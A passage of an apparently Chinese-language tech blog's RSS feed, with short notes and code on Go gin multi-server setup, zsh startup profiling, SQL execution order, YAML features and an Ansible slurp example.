&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">router02&lt;/span>() &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Handler&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span>.&lt;span style="color:#a6e22e">Use&lt;/span>(&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Recovery&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">e&lt;/span>.&lt;span style="color:#a6e22e">GET&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">gin&lt;/span>.&lt;span style="color:#a6e22e">H&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;code&amp;#34;&lt;/span>: &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">StatusOK&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;error&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Welcome server 02&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">e&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">server01&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Server&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Addr&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;:8080&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Handler&lt;/span>: &lt;span style="color:#a6e22e">router01&lt;/span>(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ReadTimeout&lt;/span>: &lt;span style="color:#ae81ff">5&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Second&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">WriteTimeout&lt;/span>: &lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Second&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">server02&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Server&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Addr&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;:8081&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Handler&lt;/span>: &lt;span style="color:#a6e22e">router02&lt;/span>(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ReadTimeout&lt;/span>: &lt;span style="color:#ae81ff">5&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Second&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">WriteTimeout&lt;/span>: &lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Second&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Go&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">server01&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Go&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">server02&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>(); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="xmljsonyaml-和-protobuf-渲染输出格式">XML、JSON、YAML 和 ProtoBuf 渲染（输出格式）&lt;/h3>
&lt;h4 id="securejson">SecureJSON&lt;/h4>
&lt;blockquote>
&lt;p>使用 SecureJSON 可以防止 json 劫持，如果返回的数据是数组，则会默认在返回值前加上&amp;quot;while(1)&amp;quot;&lt;/p></description></item><item><title>在瀏覽器輸入網址並送出後，到底發生了什麼事？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210718-what-happens-when-you-type-an-url-in-the-browser-and-press-enter/</link><pubDate>Sun, 18 Jul 2021 23:45:45 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210718-what-happens-when-you-type-an-url-in-the-browser-and-press-enter/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.cythilya.tw/2018/11/26/what-happens-when-you-type-an-url-in-the-browser-and-press-enter/" target="_blank" rel="noopener">在瀏覽器輸入網址並送出後，到底發生了什麼事？&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>我就感觉到快 —— zsh 和 oh my zsh 冷启动速度优化</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210715-make-oh-my-zsh-fly/</link><pubDate>Thu, 15 Jul 2021 18:19:06 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210715-make-oh-my-zsh-fly/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.skk.moe/post/make-oh-my-zsh-fly/" target="_blank" rel="noopener">我就感觉到快 —— zsh 和 oh my zsh 冷启动速度优化&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="profiling">Profiling&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># .zshrc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zmodload zsh/zprof
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ /bin/zsh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zprof
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>num calls time self name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-----------------------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 395.66 395.66 33.10% 395.59 395.59 33.09% _zsh_nvm_auto_use
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 2&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 216.22 216.22 18.09% 216.13 216.13 18.08% nvm_die_on_prefix
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 3&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 648.00 648.00 54.20% 168.85 168.85 14.12% nvm_auto
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 4&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> 479.15 239.57 40.08% 160.50 80.25 13.43% nvm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 102.30 102.30 8.56% 84.99 84.99 7.11% nvm_ensure_version_installed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 6&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> 51.21 25.60 4.28% 29.55 14.78 2.47% compinit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 7&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 680.18 680.18 56.89% 22.17 22.17 1.85% _zsh_nvm_load
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 8&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> 21.66 10.83 1.81% 21.66 10.83 1.81% compaudit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> 17.31 17.31 1.45% 17.31 17.31 1.45% nvm_is_version_installed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>10&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">193&lt;/span> 17.43 0.09 1.46% 14.50 0.08 1.21% _zsh_autosuggest_bind_widget
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Redacted&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>zprof&lt;/code> 模块只能获取每个 zsh 函数的用时，因此适合找出拖累 zsh 冷启动的 oh my zsh 的插件。如果要获取完整的 &lt;code>.zshrc&lt;/code> 性能分析，应该使用 &lt;code>xtrace&lt;/code>。在 &lt;code>.zshrc&lt;/code> 开头添加如下命令&lt;/p></description></item><item><title>[網友好文]Cisco UCS CIMC系列文章</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210715-cisco-ucs-cimc/</link><pubDate>Thu, 15 Jul 2021 17:16:52 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210715-cisco-ucs-cimc/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/cisco-ucs-cimc/" target="_blank" rel="noopener">[網友好文]Cisco UCS CIMC 系列文章&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/06/ansible-for-cisco-ucs-cimc.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC 時區&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/06/ansible-for-cisco-ucs-cimc-dns-ipv6.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC DNS 和停用 IPv6&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/06/ansible-cisco-ucs-cimc-fan-policy.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC Fan Policy&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/06/ansible-cisco-ucs-cimc-mail-alert.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC Mail Alert&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/06/ansible-cisco-ucs-cimc-40gb-vnic.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC 40Gb vNIC 參數&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2021/07/ansible-cisco-ucs-cimc-ntp.html" target="_blank" rel="noopener">Ansible - 設定 Cisco UCS CIMC NTP 時間校時&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>SQL 查詢不是從 SELECT 開始</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210714-sql-queries-don-t-start-with-select/</link><pubDate>Wed, 14 Jul 2021 18:11:46 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210714-sql-queries-don-t-start-with-select/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jvns.ca/blog/2019/10/03/sql-queries-don-t-start-with-select/" target="_blank" rel="noopener">SQL 查詢不是從 SELECT 開始&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="sql-查詢實際執行順序">SQL 查詢實際執行順序&lt;/h4>
&lt;ul>
&lt;li>&lt;code>FROM/JOIN&lt;/code> 以及所有 &lt;code>ON&lt;/code> 條件&lt;/li>
&lt;li>&lt;code>WHERE&lt;/code>&lt;/li>
&lt;li>&lt;code>GROUP BY&lt;/code>&lt;/li>
&lt;li>&lt;code>HAVING&lt;/code>&lt;/li>
&lt;li>&lt;code>SELECT&lt;/code>（包含視窗函式）&lt;/li>
&lt;li>&lt;code>ORDER BY&lt;/code>&lt;/li>
&lt;li>&lt;code>LIMIT&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>多數程式設計師不知道的 6 個 YAML 特性</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210707-6-yaml-features-most-programmers-dont-know/</link><pubDate>Wed, 07 Jul 2021 15:08:31 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210707-6-yaml-features-most-programmers-dont-know/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://levelup.gitconnected.com/6-yaml-features-most-programmers-dont-know-164762343af3" target="_blank" rel="noopener">多數程式設計師不知道的 6 個 YAML 特性&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="還有更多類似的危險例子正如-tom-ritchford-所指出">還有更多類似的危險例子，正如 Tom Ritchford 所指出&lt;/h4>
&lt;ul>
&lt;li>&lt;code>013&lt;/code> 會被對應為 11，因為前導 0 會觸發八進位表示法&lt;/li>
&lt;li>&lt;code>4:30&lt;/code> 會被對應為 270。Max Werner Kaul-Gothe 與 Niklas Baumstark 告訴我，這會被自動轉換為分鐘（或秒）並被視為一段持續時間：&lt;code>4*60 + 30 = 270&lt;/code>。有趣的是，這個模式在 &lt;code>1:1:1:1:1:1:1:1:4:30&lt;/code> 仍然「可運作」。&lt;/li>
&lt;/ul>
&lt;h4 id="多行字串">多行字串&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">mail_signature&lt;/span>: |&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> Martin Thoma
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> Tel. +49 123 4567&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{ &lt;span style="color:#f92672">&amp;#34;mail_signature&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Martin Thoma\nTel. +49 123 4567&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="錨點">錨點&lt;/h4>
&lt;blockquote>
&lt;p>&lt;code>&amp;amp;&lt;/code> 會定義一個名為 &lt;code>emailAddress&lt;/code> 的變數，值為 &lt;code>&amp;quot;info@example.de&amp;quot;&lt;/code>。&lt;code>*&lt;/code> 則表示接著的是變數名稱。&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">email&lt;/span>: &lt;span style="color:#75715e">&amp;amp;emailAddress&lt;/span> &lt;span style="color:#e6db74">&amp;#34;info@example.de&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">id&lt;/span>: &lt;span style="color:#75715e">*emailAddress&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{ &lt;span style="color:#f92672">&amp;#34;email&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;info@example.de&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;id&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;info@example.de&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="也可以對映射這樣做">也可以對映射這樣做&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">foo&lt;/span>: &lt;span style="color:#75715e">&amp;amp;default_settings&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">db&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">host&lt;/span>: &lt;span style="color:#ae81ff">localhost&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">main_db&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">port&lt;/span>: &lt;span style="color:#ae81ff">1337&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">email&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">admin&lt;/span>: &lt;span style="color:#ae81ff">admin@example.com&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">prod&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span>: &lt;span style="color:#75715e">*default_settings&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">app&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">port&lt;/span>: &lt;span style="color:#ae81ff">80&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">dev&lt;/span>: &lt;span style="color:#75715e">*default_settings&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;foo&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;db&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;host&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;localhost&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;main_db&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;port&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1337&lt;/span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;email&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;admin&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;admin@example.com&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;prod&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;app&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;port&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">80&lt;/span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;db&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;host&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;localhost&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;main_db&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;port&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1337&lt;/span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;email&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;admin&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;admin@example.com&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;dev&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;db&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;host&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;localhost&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;main_db&amp;#34;&lt;/span>, &lt;span style="color:#f92672">&amp;#34;port&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1337&lt;/span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;email&amp;#34;&lt;/span>: { &lt;span style="color:#f92672">&amp;#34;admin&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;admin@example.com&amp;#34;&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="型別轉換">型別轉換&lt;/h4>
&lt;blockquote>
&lt;p>雙驚嘆號 &lt;code>!!&lt;/code> 在 YAML 中有特殊意義。它稱為「secondary tag handle」，是 &lt;code>!tag:yaml.org,2002&lt;/code> 的簡寫。&lt;/p></description></item><item><title>用 Markdown 繪製圖表</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210629-draw-diagrams-with-markdown/</link><pubDate>Tue, 29 Jun 2021 15:55:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210629-draw-diagrams-with-markdown/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://support.typora.io/Draw-Diagrams-With-Markdown/#sequence-diagrams" target="_blank" rel="noopener">用 Markdown 繪製圖表&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>ansible.builtin.slurp - 讀取檔案內容</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210531-slurp-read-file-content/</link><pubDate>Mon, 31 May 2021 17:15:04 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210531-slurp-read-file-content/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/slurp-read-file-content/" target="_blank" rel="noopener">ansible.builtin.slurp - 讀取檔案內容&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Use HTTP POST to upload file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Read binary file content&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">slurp&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">path&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/bin/ls&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">bin_file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
